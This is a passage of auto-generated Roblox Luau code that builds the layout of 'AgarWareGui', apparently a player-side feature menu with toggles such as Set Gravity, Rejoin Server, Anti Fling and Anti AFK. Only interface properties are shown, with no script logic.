-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.ShiftLockRow.ShiftLockText
G2L["33"] = Instance.new("TextLabel", G2L["30"]);
G2L["33"]["BorderSizePixel"] = 0;
G2L["33"]["TextSize"] = 14;
G2L["33"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["33"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["33"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["33"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["33"]["BackgroundTransparency"] = 1;
G2L["33"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["33"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["33"]["Text"] = [[Mobile Shiftlock]];
G2L["33"]["Name"] = [[ShiftLockText]];
G2L["33"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup
G2L["34"] = Instance.new("Frame", G2L["19"]);
G2L["34"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["34"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["34"]["Size"] = UDim2.new(0, 170, 0, 101);
G2L["34"]["Position"] = UDim2.new(0, 0, 0.49722, 0);
G2L["34"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["34"]["Name"] = [[MiscGroup]];
G2L["34"]["LayoutOrder"] = 2;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.MiscScript
G2L["35"] = Instance.new("LocalScript", G2L["34"]);
G2L["35"]["Name"] = [[MiscScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.UIListLayout
G2L["36"] = Instance.new("UIListLayout", G2L["34"]);
G2L["36"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.MiscAccentColor
G2L["37"] = Instance.new("Frame", G2L["34"]);
G2L["37"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["37"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["37"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["37"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["37"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["37"]["Name"] = [[MiscAccentColor]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.MiscTitle
G2L["38"] = Instance.new("TextLabel", G2L["34"]);
G2L["38"]["TextWrapped"] = true;
G2L["38"]["BorderSizePixel"] = 0;
G2L["38"]["TextSize"] = 14;
G2L["38"]["TextScaled"] = true;
G2L["38"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["38"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["38"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["38"]["BackgroundTransparency"] = 0.95;
G2L["38"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["38"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["38"]["Text"] = [[Misc]];
G2L["38"]["LayoutOrder"] = 1;
G2L["38"]["Name"] = [[MiscTitle]];
G2L["38"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.MiscTitle.MiscMinimize
G2L["39"] = Instance.new("TextButton", G2L["38"]);
G2L["39"]["BorderSizePixel"] = 0;
G2L["39"]["TextSize"] = 14;
G2L["39"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["39"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["39"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["39"]["BackgroundTransparency"] = 1;
G2L["39"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["39"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["39"]["Text"] = [[-]];
G2L["39"]["Name"] = [[MiscMinimize]];
G2L["39"]["Position"] = UDim2.new(0.88166, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.RejoinRow
G2L["3a"] = Instance.new("Frame", G2L["34"]);
G2L["3a"]["BorderSizePixel"] = 0;
G2L["3a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["3a"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["3a"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["3a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3a"]["Name"] = [[RejoinRow]];
G2L["3a"]["LayoutOrder"] = 10;
G2L["3a"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.RejoinRow.RejoinScript
G2L["3b"] = Instance.new("LocalScript", G2L["3a"]);
G2L["3b"]["Name"] = [[RejoinScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.RejoinRow.RejoinButton
G2L["3c"] = Instance.new("TextButton", G2L["3a"]);
G2L["3c"]["TextSize"] = 14;
G2L["3c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["3c"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["3c"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["3c"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["3c"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["3c"]["Text"] = [[Rejoin Server]];
G2L["3c"]["Name"] = [[RejoinButton]];
G2L["3c"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.GravityRow
G2L["3d"] = Instance.new("Frame", G2L["34"]);
G2L["3d"]["BorderSizePixel"] = 0;
G2L["3d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["3d"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["3d"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["3d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3d"]["Name"] = [[GravityRow]];
G2L["3d"]["LayoutOrder"] = 2;
G2L["3d"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.GravityRow.GravityTickBox
G2L["3e"] = Instance.new("TextButton", G2L["3d"]);
G2L["3e"]["TextSize"] = 14;
G2L["3e"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["3e"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["3e"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["3e"]["Text"] = [[]];
G2L["3e"]["Name"] = [[GravityTickBox]];
G2L["3e"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.GravityRow.GravityText
G2L["3f"] = Instance.new("TextLabel", G2L["3d"]);
G2L["3f"]["BorderSizePixel"] = 0;
G2L["3f"]["TextSize"] = 14;
G2L["3f"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["3f"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["3f"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["3f"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["3f"]["BackgroundTransparency"] = 1;
G2L["3f"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["3f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3f"]["Text"] = [[Set Gravity]];
G2L["3f"]["Name"] = [[GravityText]];
G2L["3f"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.GravityRow.GravityChanger
G2L["40"] = Instance.new("TextBox", G2L["3d"]);
G2L["40"]["Name"] = [[GravityChanger]];
G2L["40"]["PlaceholderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["40"]["TextWrapped"] = true;
G2L["40"]["TextSize"] = 14;
G2L["40"]["TextColor3"] = Color3.fromRGB(0, 124, 255);
G2L["40"]["TextScaled"] = true;
G2L["40"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["40"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["40"]["PlaceholderText"] = [[(196.2)]];
G2L["40"]["Size"] = UDim2.new(0, 46, 0, 16);
G2L["40"]["Position"] = UDim2.new(0.69822, 0, 0.16, 0);
G2L["40"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["40"]["Text"] = [[]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.BoostFPSRow
G2L["41"] = Instance.new("Frame", G2L["34"]);
G2L["41"]["BorderSizePixel"] = 0;
G2L["41"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["41"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["41"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["41"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["41"]["Name"] = [[BoostFPSRow]];
G2L["41"]["LayoutOrder"] = 2;
G2L["41"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.BoostFPSRow.BoostFPSTickBox
G2L["42"] = Instance.new("TextButton", G2L["41"]);
G2L["42"]["TextSize"] = 14;
G2L["42"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["42"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["42"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["42"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["42"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["42"]["Text"] = [[]];
G2L["42"]["Name"] = [[BoostFPSTickBox]];
G2L["42"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.BoostFPSRow.BoostFPSText
G2L["43"] = Instance.new("TextLabel", G2L["41"]);
G2L["43"]["BorderSizePixel"] = 0;
G2L["43"]["TextSize"] = 14;
G2L["43"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["43"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["43"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["43"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["43"]["BackgroundTransparency"] = 1;
G2L["43"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["43"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["43"]["Text"] = [[Boost FPS]];
G2L["43"]["Name"] = [[BoostFPSText]];
G2L["43"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.RespawnDeathRow
G2L["44"] = Instance.new("Frame", G2L["34"]);
G2L["44"]["BorderSizePixel"] = 0;
G2L["44"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["44"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["44"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["44"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["44"]["Name"] = [[RespawnDeathRow]];
G2L["44"]["LayoutOrder"] = 2;
G2L["44"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.RespawnDeathRow.RespawnDeathTickBox
G2L["45"] = Instance.new("TextButton", G2L["44"]);
G2L["45"]["TextSize"] = 14;
G2L["45"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["45"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["45"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["45"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["45"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["45"]["Text"] = [[]];
G2L["45"]["Name"] = [[RespawnDeathTickBox]];
G2L["45"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.RespawnDeathRow.RespawnDeathText
G2L["46"] = Instance.new("TextLabel", G2L["44"]);
G2L["46"]["BorderSizePixel"] = 0;
G2L["46"]["TextSize"] = 14;
G2L["46"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["46"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["46"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["46"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["46"]["BackgroundTransparency"] = 1;
G2L["46"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["46"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["46"]["Text"] = [[Respawn at Death]];
G2L["46"]["Name"] = [[RespawnDeathText]];
G2L["46"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide
G2L["47"] = Instance.new("Frame", G2L["18"]);
G2L["47"]["BorderSizePixel"] = 0;
G2L["47"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18);
G2L["47"]["Size"] = UDim2.new(0, 170, 0, 360);
G2L["47"]["Position"] = UDim2.new(0.51003, 0, 0.00439, 0);
G2L["47"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["47"]["Name"] = [[MainRightSide]];
G2L["47"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.UIListLayout
G2L["48"] = Instance.new("UIListLayout", G2L["47"]);
G2L["48"]["Padding"] = UDim.new(0, 7);
G2L["48"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup
G2L["49"] = Instance.new("Frame", G2L["47"]);
G2L["49"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["49"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["49"]["Size"] = UDim2.new(0, 170, 0, 147);
G2L["49"]["Position"] = UDim2.new(0.01176, 0, 0.40278, 0);
G2L["49"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["49"]["Name"] = [[AntiGroup]];
G2L["49"]["LayoutOrder"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiScript
G2L["4a"] = Instance.new("LocalScript", G2L["49"]);
G2L["4a"]["Name"] = [[AntiScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.UIListLayout
G2L["4b"] = Instance.new("UIListLayout", G2L["49"]);
G2L["4b"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiAccentColor
G2L["4c"] = Instance.new("Frame", G2L["49"]);
G2L["4c"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["4c"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["4c"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["4c"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["4c"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["4c"]["Name"] = [[AntiAccentColor]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiTitle
G2L["4d"] = Instance.new("TextLabel", G2L["49"]);
G2L["4d"]["TextWrapped"] = true;
G2L["4d"]["BorderSizePixel"] = 0;
G2L["4d"]["TextSize"] = 14;
G2L["4d"]["TextScaled"] = true;
G2L["4d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["4d"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["4d"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["4d"]["BackgroundTransparency"] = 0.95;
G2L["4d"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["4d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4d"]["Text"] = [[Anti]];
G2L["4d"]["LayoutOrder"] = 1;
G2L["4d"]["Name"] = [[AntiTitle]];
G2L["4d"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiTitle.AntiMinimize
G2L["4e"] = Instance.new("TextButton", G2L["4d"]);
G2L["4e"]["BorderSizePixel"] = 0;
G2L["4e"]["TextSize"] = 14;
G2L["4e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["4e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["4e"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["4e"]["BackgroundTransparency"] = 1;
G2L["4e"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["4e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4e"]["Text"] = [[-]];
G2L["4e"]["Name"] = [[AntiMinimize]];
G2L["4e"]["Position"] = UDim2.new(0.88166, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiFlingRow
G2L["4f"] = Instance.new("Frame", G2L["49"]);
G2L["4f"]["BorderSizePixel"] = 0;
G2L["4f"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["4f"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["4f"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["4f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4f"]["Name"] = [[AntiFlingRow]];
G2L["4f"]["LayoutOrder"] = 3;
G2L["4f"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiFlingRow.AntiFlingTickBox
G2L["50"] = Instance.new("TextButton", G2L["4f"]);
G2L["50"]["TextSize"] = 14;
G2L["50"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["50"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["50"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["50"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["50"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["50"]["Text"] = [[]];
G2L["50"]["Name"] = [[AntiFlingTickBox]];
G2L["50"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiFlingRow.AntiFlingText
G2L["51"] = Instance.new("TextLabel", G2L["4f"]);
G2L["51"]["BorderSizePixel"] = 0;
G2L["51"]["TextSize"] = 14;
G2L["51"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["51"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["51"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["51"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["51"]["BackgroundTransparency"] = 1;
G2L["51"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["51"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["51"]["Text"] = [[Anti Fling]];
G2L["51"]["Name"] = [[AntiFlingText]];
G2L["51"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiAfkRow
G2L["52"] = Instance.new("Frame", G2L["49"]);
G2L["52"]["BorderSizePixel"] = 0;
G2L["52"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["52"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["52"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["52"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["52"]["Name"] = [[AntiAfkRow]];
G2L["52"]["LayoutOrder"] = 3;
G2L["52"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiAfkRow.AntiAfkTickBox
G2L["53"] = Instance.new("TextButton", G2L["52"]);
G2L["53"]["TextSize"] = 14;
G2L["53"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["53"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["53"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["53"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["53"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["53"]["Text"] = [[]];
G2L["53"]["Name"] = [[AntiAfkTickBox]];
G2L["53"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiAfkRow.AntiAfkText
G2L["54"] = Instance.new("TextLabel", G2L["52"]);
G2L["54"]["BorderSizePixel"] = 0;
G2L["54"]["TextSize"] = 14;
G2L["54"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["54"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["54"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["54"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["54"]["BackgroundTransparency"] = 1;
G2L["54"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["54"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["54"]["Text"] = [[Anti AFK]];
G2L["54"]["Name"] = [[AntiAfkText]];
G2L["54"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiRagdollRow
G2L["55"] = Instance.new("Frame", G2L["49"]);
G2L["55"]["BorderSizePixel"] = 0;
G2L["55"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["55"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["55"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["55"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["55"]["Name"] = [[AntiRagdollRow]];
G2L["55"]["LayoutOrder"] = 3;
G2L["55"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiRagdollRow.AntiRagdollTickBox
G2L["56"] = Instance.new("TextButton", G2L["55"]);
G2L["56"]["TextSize"] = 14;
G2L["56"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["56"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["56"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["56"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["56"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["56"]["Text"] = [[]];
G2L["56"]["Name"] = [[AntiRagdollTickBox]];
G2L["56"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiRagdollRow.AntiRagdollText
G2L["57"] = Instance.new("TextLabel", G2L["55"]);
G2L["57"]["BorderSizePixel"] = 0;
G2L["57"]["TextSize"] = 14;
G2L["57"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["57"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["57"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["57"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["57"]["BackgroundTransparency"] = 1;
G2L["57"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["57"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["57"]["Text"] = [[Anti Ragdoll]];
G2L["57"]["Name"] = [[AntiRagdollText]];
G2L["57"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiVoidRow
G2L["58"] = Instance.new("Frame", G2L["49"]);
G2L["58"]["BorderSizePixel"] = 0;
G2L["58"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["58"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["58"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["58"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["58"]["Name"] = [[AntiVoidRow]];
G2L["58"]["LayoutOrder"] = 3;
G2L["58"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiVoidRow.AntiVoidTickBox
G2L["59"] = Instance.new("TextButton", G2L["58"]);
G2L["59"]["TextSize"] = 14;
G2L["59"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["59"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["59"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["59"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["59"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["59"]["Text"] = [[]];
G2L["59"]["Name"] = [[AntiVoidTickBox]];
G2L["59"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiVoidRow.AntiVoidText
G2L["5a"] = Instance.new("TextLabel", G2L["58"]);
G2L["5a"]["BorderSizePixel"] = 0;
G2L["5a"]["TextSize"] = 14;
G2L["5a"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["5a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["5a"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["5a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["5a"]["BackgroundTransparency"] = 1;
G2L["5a"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["5a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5a"]["Text"] = [[Anti Void]];
G2L["5a"]["Name"] = [[AntiVoidText]];
G2L["5a"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiKBRow
G2L["5b"] = Instance.new("Frame", G2L["49"]);
G2L["5b"]["BorderSizePixel"] = 0;
G2L["5b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["5b"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["5b"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["5b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5b"]["Name"] = [[AntiKBRow]];
G2L["5b"]["LayoutOrder"] = 3;
G2L["5b"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiKBRow.AntiKBTickBox
G2L["5c"] = Instance.new("TextButton", G2L["5b"]);
G2L["5c"]["TextSize"] = 14;
G2L["5c"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
